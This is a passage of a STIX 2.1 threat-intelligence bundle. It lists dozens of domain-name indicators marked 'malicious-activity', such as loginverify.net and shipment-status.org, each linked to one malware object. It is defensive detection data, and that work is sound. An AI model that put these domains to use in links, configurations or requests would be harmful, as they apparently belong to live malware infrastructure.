"indicator--b0f7f5cc-36bf-4f39-8a0a-05b75262621c", "created": "2024-01-26T21:28:21.468715Z", "modified": "2024-01-26T21:28:21.468715Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='thefuturearticle.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.468715Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ead2446a-dbdc-4f7e-8c8d-d9f996947869", "created": "2024-01-26T21:28:21.469103Z", "modified": "2024-01-26T21:28:21.469103Z", "relationship_type": "indicates", "source_ref": "indicator--b0f7f5cc-36bf-4f39-8a0a-05b75262621c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c7110d40-be6f-4b6f-b461-1009dd07bef7", "created": "2024-01-26T21:28:21.469206Z", "modified": "2024-01-26T21:28:21.469206Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='nosemorningnine.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.469206Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6d2c9815-ffcd-4ca9-9b69-269974bc76a4", "created": "2024-01-26T21:28:21.469602Z", "modified": "2024-01-26T21:28:21.469602Z", "relationship_type": "indicates", "source_ref": "indicator--c7110d40-be6f-4b6f-b461-1009dd07bef7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2d368b89-c2f8-4a07-a33f-7fbc803dc125", "created": "2024-01-26T21:28:21.4697Z", "modified": "2024-01-26T21:28:21.4697Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='websiteeco.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.4697Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3515959d-92da-46eb-b4b9-9d02394082d0", "created": "2024-01-26T21:28:21.470082Z", "modified": "2024-01-26T21:28:21.470082Z", "relationship_type": "indicates", "source_ref": "indicator--2d368b89-c2f8-4a07-a33f-7fbc803dc125", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--da2b5d35-243a-4df5-9d11-7ab310deb9ae", "created": "2024-01-26T21:28:21.470178Z", "modified": "2024-01-26T21:28:21.470178Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cellphonesprices.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.470178Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e90f2427-b567-42e2-b4f6-51dba8ae433c", "created": "2024-01-26T21:28:21.470566Z", "modified": "2024-01-26T21:28:21.470566Z", "relationship_type": "indicates", "source_ref": "indicator--da2b5d35-243a-4df5-9d11-7ab310deb9ae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--193e22b8-0514-4513-97ef-1ae31f8efb71", "created": "2024-01-26T21:28:21.470661Z", "modified": "2024-01-26T21:28:21.470661Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='smallridebar.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.470661Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--16b88b29-57f0-4a28-afd4-e2e100a6126d", "created": "2024-01-26T21:28:21.471047Z", "modified": "2024-01-26T21:28:21.471047Z", "relationship_type": "indicates", "source_ref": "indicator--193e22b8-0514-4513-97ef-1ae31f8efb71", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--33f46c8c-f18b-4630-885b-c9bd5e292f5a", "created": "2024-01-26T21:28:21.471142Z", "modified": "2024-01-26T21:28:21.471142Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='yourgreatestsmartphone.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.471142Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a1396427-44f9-40ad-8515-dda07a297a19", "created": "2024-01-26T21:28:21.471546Z", "modified": "2024-01-26T21:28:21.471546Z", "relationship_type": "indicates", "source_ref": "indicator--33f46c8c-f18b-4630-885b-c9bd5e292f5a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--19699370-4d39-46d8-a3ee-4f1fbea5f44a", "created": "2024-01-26T21:28:21.471643Z", "modified": "2024-01-26T21:28:21.471643Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='htmlmetrics.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.471643Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e06c5c3f-9ee1-47c7-9aa8-50dcf3117861", "created": "2024-01-26T21:28:21.47212Z", "modified": "2024-01-26T21:28:21.47212Z", "relationship_type": "indicates", "source_ref": "indicator--19699370-4d39-46d8-a3ee-4f1fbea5f44a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--59ef1fa5-7c0a-4755-8d1b-380f8794f19f", "created": "2024-01-26T21:28:21.47222Z", "modified": "2024-01-26T21:28:21.47222Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='asrarrarabiya.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.47222Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fd9363e4-2802-4265-9366-e7d0ce0e0a62", "created": "2024-01-26T21:28:21.472644Z", "modified": "2024-01-26T21:28:21.472644Z", "relationship_type": "indicates", "source_ref": "indicator--59ef1fa5-7c0a-4755-8d1b-380f8794f19f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--032b7e44-7a32-452d-a52b-4b5561752df3", "created": "2024-01-26T21:28:21.472766Z", "modified": "2024-01-26T21:28:21.472766Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='practicehazard.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.472766Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2aa4557b-3ac2-4185-8d7d-a8d91af04e0f", "created": "2024-01-26T21:28:21.473157Z", "modified": "2024-01-26T21:28:21.473157Z", "relationship_type": "indicates", "source_ref": "indicator--032b7e44-7a32-452d-a52b-4b5561752df3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--090a62da-3399-4d4e-98f3-be602a34936c", "created": "2024-01-26T21:28:21.473254Z", "modified": "2024-01-26T21:28:21.473254Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mobilephonesme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.473254Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0a906062-9599-4f92-bac4-ccb4b6aa0e0f", "created": "2024-01-26T21:28:21.473643Z", "modified": "2024-01-26T21:28:21.473643Z", "relationship_type": "indicates", "source_ref": "indicator--090a62da-3399-4d4e-98f3-be602a34936c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fd7587ab-012a-4423-956d-0dfb2c97dca7", "created": "2024-01-26T21:28:21.473739Z", "modified": "2024-01-26T21:28:21.473739Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='3driving.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.473739Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--84372b18-8685-4160-9288-0459377806fe", "created": "2024-01-26T21:28:21.474123Z", "modified": "2024-01-26T21:28:21.474123Z", "relationship_type": "indicates", "source_ref": "indicator--fd7587ab-012a-4423-956d-0dfb2c97dca7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--06599d1b-b8aa-42b2-a11a-90fbe69a635a", "created": "2024-01-26T21:28:21.474221Z", "modified": "2024-01-26T21:28:21.474221Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='top10gifts4men.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.474221Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--36daffdd-9623-4117-97ea-9031e46219e1", "created": "2024-01-26T21:28:21.474618Z", "modified": "2024-01-26T21:28:21.474618Z", "relationship_type": "indicates", "source_ref": "indicator--06599d1b-b8aa-42b2-a11a-90fbe69a635a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0a45253e-7a17-4bbc-9f36-524c7bdb6b5a", "created": "2024-01-26T21:28:21.474717Z", "modified": "2024-01-26T21:28:21.474717Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loading-pag.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.474717Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4ea7ae69-eb89-4e38-8426-7c992af477db", "created": "2024-01-26T21:28:21.475105Z", "modified": "2024-01-26T21:28:21.475105Z", "relationship_type": "indicates", "source_ref": "indicator--0a45253e-7a17-4bbc-9f36-524c7bdb6b5a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--041aab85-5c29-4ab3-8e67-05602c24609a", "created": "2024-01-26T21:28:21.475208Z", "modified": "2024-01-26T21:28:21.475208Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='looklifewhite.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.475208Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ddf86bce-ea16-45e8-9209-3750855e5c7f", "created": "2024-01-26T21:28:21.4756Z", "modified": "2024-01-26T21:28:21.4756Z", "relationship_type": "indicates", "source_ref": "indicator--041aab85-5c29-4ab3-8e67-05602c24609a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3a58e764-25c2-4102-a13e-1790231c4984", "created": "2024-01-26T21:28:21.475699Z", "modified": "2024-01-26T21:28:21.475699Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='afriquenouvelle.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.475699Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e7a9e8d2-3490-4bc1-9000-348ab4e176d8", "created": "2024-01-26T21:28:21.476086Z", "modified": "2024-01-26T21:28:21.476086Z", "relationship_type": "indicates", "source_ref": "indicator--3a58e764-25c2-4102-a13e-1790231c4984", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d31fab80-03c3-45b2-8105-81ebdf628727", "created": "2024-01-26T21:28:21.476187Z", "modified": "2024-01-26T21:28:21.476187Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='trendsymbol.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.476187Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f11b43b6-ec43-4733-9793-3c6d02584c04", "created": "2024-01-26T21:28:21.476667Z", "modified": "2024-01-26T21:28:21.476667Z", "relationship_type": "indicates", "source_ref": "indicator--d31fab80-03c3-45b2-8105-81ebdf628727", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c6856bf8-53ea-4f7a-8dd6-0aeeec12ca1b", "created": "2024-01-26T21:28:21.476771Z", "modified": "2024-01-26T21:28:21.476771Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-hoster.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.476771Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4dc579f6-4cf5-40d5-a69f-79fbeee0b2d0", "created": "2024-01-26T21:28:21.477182Z", "modified": "2024-01-26T21:28:21.477182Z", "relationship_type": "indicates", "source_ref": "indicator--c6856bf8-53ea-4f7a-8dd6-0aeeec12ca1b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--71407457-e1ab-49de-b035-11adf7404629", "created": "2024-01-26T21:28:21.47728Z", "modified": "2024-01-26T21:28:21.47728Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ipjackets.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.47728Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--602c2353-0afc-4d0b-b34b-f2298604ea1f", "created": "2024-01-26T21:28:21.477668Z", "modified": "2024-01-26T21:28:21.477668Z", "relationship_type": "indicates", "source_ref": "indicator--71407457-e1ab-49de-b035-11adf7404629", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ba68ae2c-96b6-4c4d-9be9-a21acf0433a5", "created": "2024-01-26T21:28:21.477766Z", "modified": "2024-01-26T21:28:21.477766Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cloudbiggest.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.477766Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c3343eeb-71f4-4b50-9704-76c28e94e156", "created": "2024-01-26T21:28:21.478152Z", "modified": "2024-01-26T21:28:21.478152Z", "relationship_type": "indicates", "source_ref": "indicator--ba68ae2c-96b6-4c4d-9be9-a21acf0433a5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--27ba8978-f3bd-4127-8f40-3df98b6ea7a8", "created": "2024-01-26T21:28:21.47825Z", "modified": "2024-01-26T21:28:21.47825Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='yourhotelreservation.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.47825Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--154223de-32ac-4119-b3fb-3bbd383e8aea", "created": "2024-01-26T21:28:21.47865Z", "modified": "2024-01-26T21:28:21.47865Z", "relationship_type": "indicates", "source_ref": "indicator--27ba8978-f3bd-4127-8f40-3df98b6ea7a8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--adca234f-0c8d-4904-b182-532c1c4410cc", "created": "2024-01-26T21:28:21.478746Z", "modified": "2024-01-26T21:28:21.478746Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='loginverify.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.478746Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9aac181b-5386-476f-887b-0fe126914051", "created": "2024-01-26T21:28:21.479134Z", "modified": "2024-01-26T21:28:21.479134Z", "relationship_type": "indicates", "source_ref": "indicator--adca234f-0c8d-4904-b182-532c1c4410cc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2541f4be-0566-47cf-aea8-cefa03ad8132", "created": "2024-01-26T21:28:21.479229Z", "modified": "2024-01-26T21:28:21.479229Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='oplata-shtraf.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.479229Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b25668b1-ee3e-4bee-929a-3a2cd5fa1054", "created": "2024-01-26T21:28:21.479618Z", "modified": "2024-01-26T21:28:21.479618Z", "relationship_type": "indicates", "source_ref": "indicator--2541f4be-0566-47cf-aea8-cefa03ad8132", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7a1fd01e-2ae1-40c1-b045-cfa698356845", "created": "2024-01-26T21:28:21.479714Z", "modified": "2024-01-26T21:28:21.479714Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='normalseason.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.479714Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4c244ebb-39c9-476f-9f3f-be74c6282557", "created": "2024-01-26T21:28:21.4801Z", "modified": "2024-01-26T21:28:21.4801Z", "relationship_type": "indicates", "source_ref": "indicator--7a1fd01e-2ae1-40c1-b045-cfa698356845", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5b2daec7-3d72-4aa1-950f-b608fce99d3e", "created": "2024-01-26T21:28:21.480196Z", "modified": "2024-01-26T21:28:21.480196Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='papervoice.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.480196Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--90704fd0-bf60-4449-8237-2b9211087796", "created": "2024-01-26T21:28:21.48059Z", "modified": "2024-01-26T21:28:21.48059Z", "relationship_type": "indicates", "source_ref": "indicator--5b2daec7-3d72-4aa1-950f-b608fce99d3e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4bd1b31a-6085-43db-8f37-9ae827550ea1", "created": "2024-01-26T21:28:21.480689Z", "modified": "2024-01-26T21:28:21.480689Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectgate.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.480689Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7386728f-0ca0-476d-a257-f9e3120e96c9", "created": "2024-01-26T21:28:21.481165Z", "modified": "2024-01-26T21:28:21.481165Z", "relationship_type": "indicates", "source_ref": "indicator--4bd1b31a-6085-43db-8f37-9ae827550ea1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--060ced31-eb01-4b6a-99a6-d953f6a8819e", "created": "2024-01-26T21:28:21.481265Z", "modified": "2024-01-26T21:28:21.481265Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='maghrebfunny.biz']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.481265Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5399ad23-b37f-4e9f-b91a-e684aa4d818b", "created": "2024-01-26T21:28:21.481658Z", "modified": "2024-01-26T21:28:21.481658Z", "relationship_type": "indicates", "source_ref": "indicator--060ced31-eb01-4b6a-99a6-d953f6a8819e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--799eeea4-e5a2-47de-ba04-ec27a3e362bf", "created": "2024-01-26T21:28:21.481756Z", "modified": "2024-01-26T21:28:21.481756Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='greatcitymore.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.481756Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2ae6df8d-7a42-4e7c-b75d-9700ccae2a85", "created": "2024-01-26T21:28:21.482144Z", "modified": "2024-01-26T21:28:21.482144Z", "relationship_type": "indicates", "source_ref": "indicator--799eeea4-e5a2-47de-ba04-ec27a3e362bf", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4bfb9954-82b1-4a5c-9c9f-761ba58b237c", "created": "2024-01-26T21:28:21.48224Z", "modified": "2024-01-26T21:28:21.48224Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='wintertimes.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.48224Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--375dcd6b-f937-4bc6-8000-5eb8ea56c71c", "created": "2024-01-26T21:28:21.482623Z", "modified": "2024-01-26T21:28:21.482623Z", "relationship_type": "indicates", "source_ref": "indicator--4bfb9954-82b1-4a5c-9c9f-761ba58b237c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--217955c1-e5ac-4691-9c51-96b62535ac11", "created": "2024-01-26T21:28:21.482718Z", "modified": "2024-01-26T21:28:21.482718Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='glassesofwine.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.482718Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--17211789-cf64-456b-b2e9-94d89269f26a", "created": "2024-01-26T21:28:21.483113Z", "modified": "2024-01-26T21:28:21.483113Z", "relationship_type": "indicates", "source_ref": "indicator--217955c1-e5ac-4691-9c51-96b62535ac11", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a8945fad-e454-4ae0-8d84-a2fbbacaa6ad", "created": "2024-01-26T21:28:21.483206Z", "modified": "2024-01-26T21:28:21.483206Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redirectingpage.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.483206Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--66ff3b45-9b71-4fda-9fed-3396ff04861f", "created": "2024-01-26T21:28:21.483599Z", "modified": "2024-01-26T21:28:21.483599Z", "relationship_type": "indicates", "source_ref": "indicator--a8945fad-e454-4ae0-8d84-a2fbbacaa6ad", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7065461b-5e9d-43d4-8a6b-0d8d1fbc1131", "created": "2024-01-26T21:28:21.483696Z", "modified": "2024-01-26T21:28:21.483696Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='directlyforuse.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.483696Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9eae547f-b837-433b-946e-a0cb94cf15e0", "created": "2024-01-26T21:28:21.484092Z", "modified": "2024-01-26T21:28:21.484092Z", "relationship_type": "indicates", "source_ref": "indicator--7065461b-5e9d-43d4-8a6b-0d8d1fbc1131", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f92006cc-0623-454e-840c-6ece75627779", "created": "2024-01-26T21:28:21.484188Z", "modified": "2024-01-26T21:28:21.484188Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='tradeexchanging.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.484188Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c025a688-510d-4b86-a7bf-cc2f1130f3ed", "created": "2024-01-26T21:28:21.484577Z", "modified": "2024-01-26T21:28:21.484577Z", "relationship_type": "indicates", "source_ref": "indicator--f92006cc-0623-454e-840c-6ece75627779", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a3589e19-e287-4db4-802f-de44ac920d8a", "created": "2024-01-26T21:28:21.484671Z", "modified": "2024-01-26T21:28:21.484671Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cheaphostingtoday.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.484671Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--65caf740-2b4b-403f-ba92-74341af83842", "created": "2024-01-26T21:28:21.485062Z", "modified": "2024-01-26T21:28:21.485062Z", "relationship_type": "indicates", "source_ref": "indicator--a3589e19-e287-4db4-802f-de44ac920d8a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b29ab56b-2cc4-4639-b762-67381b922d37", "created": "2024-01-26T21:28:21.485158Z", "modified": "2024-01-26T21:28:21.485158Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dhcpserver.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.485158Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4d24eb82-d690-4386-bd96-a3bd6a9b6ea9", "created": "2024-01-26T21:28:21.485623Z", "modified": "2024-01-26T21:28:21.485623Z", "relationship_type": "indicates", "source_ref": "indicator--b29ab56b-2cc4-4639-b762-67381b922d37", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--36f605d3-8ce9-473e-9042-2421ee398916", "created": "2024-01-26T21:28:21.485725Z", "modified": "2024-01-26T21:28:21.485725Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='howtoexplorebirds.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.485725Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f8fce79a-7eb5-4e17-8177-a878b38e14b8", "created": "2024-01-26T21:28:21.486125Z", "modified": "2024-01-26T21:28:21.486125Z", "relationship_type": "indicates", "source_ref": "indicator--36f605d3-8ce9-473e-9042-2421ee398916", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6159bca4-0ed3-4c14-bc95-836d53f0a542", "created": "2024-01-26T21:28:21.486221Z", "modified": "2024-01-26T21:28:21.486221Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ilovemybeatifulnails.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.486221Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7b61a162-023a-43e0-9e7d-04c83d38ab7d", "created": "2024-01-26T21:28:21.486615Z", "modified": "2024-01-26T21:28:21.486615Z", "relationship_type": "indicates", "source_ref": "indicator--6159bca4-0ed3-4c14-bc95-836d53f0a542", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--905dff35-f0bc-4902-9628-8bf843f0165c", "created": "2024-01-26T21:28:21.486719Z", "modified": "2024-01-26T21:28:21.486719Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='shipment-status.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.486719Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--cf276f34-57cd-48bf-aaac-c396acfcdaf9", "created": "2024-01-26T21:28:21.487111Z", "modified": "2024-01-26T21:28:21.487111Z", "relationship_type": "indicates", "source_ref": "indicator--905dff35-f0bc-4902-9628-8bf843f0165c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--544479b4-1178-415d-ae8b-c5409fa2b689", "created": "2024-01-26T21:28:21.487208Z", "modified": "2024-01-26T21:28:21.487208Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='networkingloading.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.487208Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--695db228-cc9e-4250-b2cf-568b63629b15", "created": "2024-01-26T21:28:21.487599Z", "modified": "2024-01-26T21:28:21.487599Z", "relationship_type": "indicates", "source_ref": "indicator--544479b4-1178-415d-ae8b-c5409fa2b689", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0642bae6-813e-41fa-a67c-c97bda0bbb3e", "created": "2024-01-26T21:28:21.487696Z", "modified": "2024-01-26T21:28:21.487696Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='better-deal.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.487696Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1d3d7a48-a473-4df9-a936-5b2b8e24a17a", "created": "2024-01-26T21:28:21.488081Z", "modified": "2024-01-26T21:28:21.488081Z", "relationship_type": "indicates", "source_ref": "indicator--0642bae6-813e-41fa-a67c-c97bda0bbb3e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fd2d8836-81a6-4074-8906-edb920085fbe", "created": "2024-01-26T21:28:21.488177Z", "modified": 